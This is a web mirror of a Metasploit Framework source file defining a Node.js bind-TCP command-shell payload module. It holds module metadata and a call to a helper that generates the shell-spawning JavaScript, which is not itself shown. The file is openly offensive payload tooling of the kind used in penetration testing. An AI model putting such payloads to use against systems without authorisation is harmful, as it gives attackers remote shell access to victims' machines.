CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/nodejs/shell_bind_tcp.rb
Views: 11766
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
# It would be better to have a commonjs payload, but because the implementations
7
# differ so greatly when it comes to require() paths for net modules, we will
8
# settle for just getting shells on nodejs.
9
10
11
module MetasploitModule
12
13
CachedSize = 555
14
15
include Msf::Payload::Single
16
include Msf::Payload::NodeJS
17
include Msf::Sessions::CommandShellOptions
18
19
def initialize(info = {})
20
super(merge_info(info,
21
'Name' => 'Command Shell, Bind TCP (via nodejs)',
22
'Description' => 'Creates an interactive shell via nodejs',
23
'Author' => ['joev'],
24
'License' => BSD_LICENSE,
25
'Platform' => 'nodejs',
26
'Arch' => ARCH_NODEJS,
27
'Handler' => Msf::Handler::BindTcp,
28
'Session' => Msf::Sessions::CommandShell,
29
'PayloadType' => 'nodejs',
30
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
31
))
32
end
33
34
#
35
# Constructs the payload
36
#
37
def generate(_opts = {})
38
super + command_string
39
end
40
41
#
42
# Returns the JS string to use for execution
43
#
44
def command_string
45
nodejs_bind_tcp
46
end
47
end
48
49